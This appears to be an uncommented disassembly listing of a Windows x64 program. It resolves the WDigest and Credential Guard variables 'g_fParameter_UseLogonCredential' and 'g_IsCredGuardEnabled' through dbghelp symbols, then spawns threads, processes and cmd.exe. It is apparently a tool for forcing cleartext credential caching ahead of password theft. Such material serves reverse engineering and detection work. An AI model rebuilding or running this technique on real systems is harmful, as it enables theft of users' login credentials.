mov rcx, rax
mov r14, rax
call fcn.140007890
mov rcx, rax
mov rsi, rax
call fcn.140008600
mov rcx, qword [rsi + 0x70]
mov rdi, rax
test rcx, rcx
je 0x14000269b
call fcn.14000e90c
mov qword [rsi + 0x70], r13
mov rcx, rsi
call fcn.14000e90c
mov rcx, r14
call fcn.14000e90c
test rdi, rdi
je 0x140002795
xor edx, edx
lea rcx, [rbp + 0x50]
mov r8d, 0x830
call fcn.14000c2a0
mov rdx, qword [rdi + 8]
lea r9, [rbp + 0x50]
mov rcx, qword [rdi + 0x10]
lea r8, str.g_fParameter_UseLogonCredential
mov dword [rbp + 0x50], 0x58
mov dword [rbp + 0xa0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rsi, qword [rdi + 8]
test eax, eax
je 0x140002703
mov rax, qword [rbp + 0x88]
sub rax, rsi
jmp 0x140002706
mov rax, r13
xor edx, edx
mov qword [0x14003bdc0], rax
mov r8d, 0x830
lea rcx, [rbp + 0x50]
call fcn.14000c2a0
mov rcx, qword [rdi + 0x10]
lea r9, [rbp + 0x50]
lea r8, str.g_IsCredGuardEnabled
mov dword [rbp + 0x50], 0x58
mov rdx, rsi
mov dword [rbp + 0xa0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rdx, qword [rdi + 8]
test eax, eax
je 0x14000275b
mov rax, qword [rbp + 0x88]
sub rax, rdx
jmp 0x14000275e
mov rax, r13
mov rcx, qword [rdi + 0x10]
mov qword [0x14003bdc8], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rdi]
call fcn.14000e90c
mov rcx, rdi
mov qword [rdi], r13
call fcn.14000e90c
cmp qword [0x14003bdc0], 0
je 0x140002aad
cmp qword [0x14003bdc8], 0
je 0x140002848
lea rcx, [rbp + 0x1ba0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002848
test al, 0x10
jne 0x140002848
call fcn.1400046e0
lea r8, [0x14002d540]
mov qword [rsp + 0x70], r13
lea rdx, [rbp + 0x1ba0]
mov rdi, rax
lea rcx, [rsp + 0x70]
call fcn.1400112e0
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002848
mov r8, rdi
lea rdx, [0x14002d544]
call fcn.140004580
nop dword [rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.140004580
add rbx, 8
cmp rbx, r12
jl 0x140002810
mov rdx, qword [rsp + 0x70]
lea rcx, [0x14002d55c]
call fcn.140011540
mov rcx, qword [rsp + 0x70]
call fcn.1400113bc
cmp qword [0x14003bdc0], 0
mov r13d, dword [rsp + 0x54]
je 0x140002ab2
cmp qword [0x14003bdc8], 0
je 0x140002ab2
test r13d, r13d
je 0x14000287d
cmp qword [0x14003c1f8], 0
je 0x14000287d
call fcn.140007260
call fcn.140003170
test eax, eax
jne 0x140002d42
mov eax, 1
mov dword [rbp - 0x38], eax
jmp 0x140002d42
xor edx, edx
lea rcx, [rbp + 0x21d0]
mov r8d, 0x208
call fcn.14000c2a0
mov edx, 0x104
lea rcx, [rbp + 0x21d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
lea rcx, [rbp + 0x1fc0]
mov r8d, 0x208
call fcn.14000c2a0
lea r8, [rbp + 0x21d0]
mov edx, 0x104
lea rcx, [rbp + 0x1fc0]
call fcn.14000e6e0
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0x1fc0]
call fcn.14000e6e0
lea rcx, [rbp + 0x1fc0]
call fcn.14000e760
jmp 0x140002d3d
mov r13d, dword [rsp + 0x54]
test r13d, r13d
je 0x14000292b
cmp qword [0x14003c1f8], 0
je 0x14000292b
call fcn.140007260
lea rcx, [rbp + 0x1150]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002935
test rax, rax
jne 0x1400029ae
lea rcx, [rbp + 0x10d8]
call fcn.14000d698
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea r8, [rbp + 0x1360]
mov edx, 0x104
lea rcx, [rbp + 0x1150]
call fcn.14000e6e0
lea r8, [0x14002b2cc]
mov edx, 0x104
lea rcx, [rbp + 0x1150]
call fcn.14000e6e0
mov r8, rbx
lea rcx, [rbp + 0x1150]
mov edx, 0x104
call fcn.14000e6e0
test rbx, rbx
je 0x140002a62
jmp 0x140002a5a
lea rcx, [rbp + 0x1150]
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x140002a62
lea rcx, [rbp + 0x1150]
mov rax, r15
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400029d0
lea rdx, [rbp + 0x1360]
mov rcx, r15
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400029e4
lea rdi, [rcx + 2]
mov edx, 2
add rdi, rax
mov rcx, rdi
call fcn.14000d400
mov rbx, rax
test rax, rax
je 0x140002ab2
lea r8, [rbp + 0x1360]
mov rdx, rdi
mov rcx, rax
call fcn.14000e6e0
lea r8, [0x14002b2cc]
mov rdx, rdi
mov rcx, rbx
call fcn.14000e6e0
lea r8, [rbp + 0x1150]
mov rdx, rdi
mov rcx, rbx
call fcn.14000e6e0
mov r8, rbx
lea rcx, [rbp + 0x1150]
mov edx, 0x104
call fcn.14000e678
mov rcx, rbx
call fcn.14000e90c
mov edx, 8
lea ecx, [rdx - 6]
call fcn.14000d400
mov rbx, rax
test rax, rax
je 0x140002ab2
lea rax, [rbp + 0x10d8]
xor edx, edx
mov qword [rbx], rax
xor ecx, ecx
lea rax, [rbp + 0x1150]
mov r9, rbx
mov qword [rbx + 8], rax
cmp dword [rsp + 0x70], ecx
je 0x140002abf
xor esi, esi
lea r8, [0x140004560]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
jmp 0x140002ad1
mov r13d, dword [rsp + 0x54]
mov eax, 1
mov dword [rbp - 0x38], eax
jmp 0x140002d42
xor eax, eax
lea r8, [0x140007250]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140002b00
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp - 0x38], 0
je 0x140002b08
mov eax, 1
mov dword [rbp - 0x38], eax
mov rcx, rbx
call fcn.14000e90c
jmp 0x140002d42
call section..text
test eax, eax
jne 0x140002dea
test esi, esi
je 0x140002b2d
xor edx, edx
call fcn.140006de0
mov r12d, 1
test edi, edi
je 0x140002b62
mov r8d, r12d
mov rdx, r13
xor ecx, ecx
call fcn.140007540
mov r8d, r12d
mov rdx, r13
mov ecx, r12d
call fcn.140007540
mov r8d, r12d
lea ecx, [r12 + 1]
mov rdx, r13
call fcn.140007540
xor r14d, r14d
test ebx, ebx
je 0x140002bc3
cmp qword [0x14003c218], r14
je 0x140002bc3
cmp qword [0x14003c220], r14
je 0x140002bc3
cmp qword [0x14003c228], r14
je 0x140002bc3
mov edi, r14d
cmp qword [r13], r14
jbe 0x140002bbf
lea rbx, [r13 + 0x38]
cmp dword [rbx - 0x30], 1
jne 0x140002bb2
cmp dword [rbx], r14d
jne 0x140002bb2
mov rcx, qword [rbx - 0x20]
xor edx, edx
call fcn.140009b30
cmp dword [rbx], r14d
mov eax, r14d
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x140002b91
mov edi, dword [rsp + 0x58]
xorps xmm0, xmm0
mov dword [rbp - 0x20], 0x68
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp + 0x44], eax
movups xmmword [rbp - 0xc], xmm0
mov qword [rbp + 0x10c0], rax
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x10b0], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, qword [0x14003aa60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
lea rax, [rbp + 0x10b0]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x20]
mov qword [0x14003aa60], r15
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov rcx, qword [rcx]
mov rdx, rbx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140002c86
mov rcx, qword [rbp + 0x10b0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x10b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002c8a
mov dword [rbp - 0x38], r12d
cmp dword [rsp + 0x68], 1
jne 0x140002d24
test edi, edi
je 0x140002cc3
xor r8d, r8d
mov rdx, r13
xor ecx, ecx
call fcn.140007540
xor r8d, r8d
mov rdx, r13
mov ecx, r12d
call fcn.140007540
xor r8d, r8d
mov rdx, r13
lea ecx, [r8 + 2]
call fcn.140007540
cmp dword [rbp - 0x80], 0
je 0x140002d24
cmp qword [0x14003c218], 0
je 0x140002d24
cmp qword [0x14003c220], 0
je 0x140002d24
cmp qword [0x14003c228], 0
je 0x140002d24
cmp qword [r13], 0
mov rdi, r14
jbe 0x140002d24
lea rbx, [r13 + 0x38]
cmp dword [rbx - 0x30], 1
jne 0x140002d17
cmp dword [rbx], 1
jne 0x140002d17
mov rcx, qword [rbx - 0x20]
mov edx, r12d
call fcn.140009b30
cmp dword [rbx], 0
mov eax, r14d
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x140002cf5
test esi, esi
je 0x140002d30
mov edx, r12d
call fcn.140006de0
test r13, r13
je 0x140002d3d
mov rcx, r13
call fcn.14000e90c
mov r13d, dword [rsp + 0x54]
test r13d, r13d
je 0x140002dc5
cmp dword [rsp + 0x5c], 0
je 0x140002dc5
mov rcx, qword [0x14003aa60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14003e200]
mov qword [0x14003aa60], r15
test rbx, rbx
je 0x140002d80
nop
inc r15
cmp word [rbx + r15*2], 0
jne 0x140002d70
test r15, r15
jne 0x140002dab
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000d400
mov rbx, rax
test rax, rax
jne 0x140002d97
jmp 0x140002da4
mov edx, 8
mov rcx, rax
call fcn.140008130
mov qword [0x14003e200], rbx
xor edx, edx
mov rcx, rbx
call fcn.140007f90
mov ecx, dword [rbp - 0x38]
test eax, eax
mov eax, 1
cmove ecx, eax
mov dword [rbp - 0x38], ecx
mov eax, dword [rbp - 0x38]
jmp 0x14000178c
xor eax, eax
jmp 0x14000178c
mov ecx, 1
call fcn.14000d3f4
int3
mov ecx, 1
call fcn.14000d3f4
int3
mov ecx, 1
call fcn.14000d3f4
int3